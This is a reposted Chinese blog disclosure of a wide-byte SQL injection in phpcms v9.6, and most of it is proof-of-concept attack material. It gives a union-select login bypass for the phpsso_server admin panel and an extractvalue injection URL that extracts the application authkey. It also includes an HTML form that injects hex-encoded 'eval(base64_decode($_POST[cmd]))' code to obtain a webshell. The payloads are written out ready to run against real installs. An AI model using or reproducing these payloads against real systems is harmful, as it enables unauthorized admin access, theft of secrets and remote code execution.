IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    一个不应该出现的错误导致phpcmsV9.6被秒杀

    没穿底裤发表于 2016-04-06 08:47:03
    love 0

    详细说明:

    PHP双字节编码,这个本不应该出现的问题,或许因为过去太久远快被遗忘了,phpcms从20140929的v9.5.9版本起,增加了mysqli的支持,因为编写疏忽,导致该问题又重现江湖。漏洞本身无需细说。phpcms默认使用mysqli数据库,显示mysql语句错误(debug为true,呵呵完全可以爆错注入),而且安装过程不能修改。

    漏洞影响:利用20140929的v9.5.9以后版本新建站点,以前版本升级的不受影响,故自评Rank为15

    漏洞危害:高。利用漏洞直接登陆phpsso_server后台获取shell、注入等。

    漏洞证明:

    1、登陆登陆phpsso_server后台

    用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k
    密码:1

    21175433f7b248e43d8725b4c42a695f8bae4824[1]

    2、利用phpsso_server/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。

    3、注入。访问链接:http://127.0.0.1/phpcmsv9/index.php?m=pay&c=respond&a=respond_get&code=kkk%89′ and extractvalue(1, concat(0x7e, (select substr(authkey,1,30) FROM v9_sso_applications where appid=1),0x7e))–%20m

    211744016a16a6842077a6909d982b304bde11ca[1]

    测试代码:

    <form  action="http://127.0.0.1/phpcmsv9/phpsso_server/?m=admin&c=messagequeue&a=renotice" method="POST" target="_blank" enctype="multipart/form-data">
    noticeid:<input type="text" name="noticeid" id="noticeid" value="誠' union select 1,2,3,4,0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B,6,7-- k" size=100/><br>
    cmd:<input type="text" name="cmd" id="cmd" value="cGhwaW5mbygpOw=="/>phpinfo();<br>
    <input type="hidden" name="appid" id="appid" value="1"/>
    <input type="submit" value="提交"/>
    </form>
    <hr>
    说明:<br>
    1、登陆phpsso_server<br>
    用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k<br>
    密码:1<br>
    2、登陆后,提交获取shell<br>
    0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B<br>
    array();eval(base64_decode($_POST[cmd]));exit;<br>



沪ICP备19023445号-2号
友情链接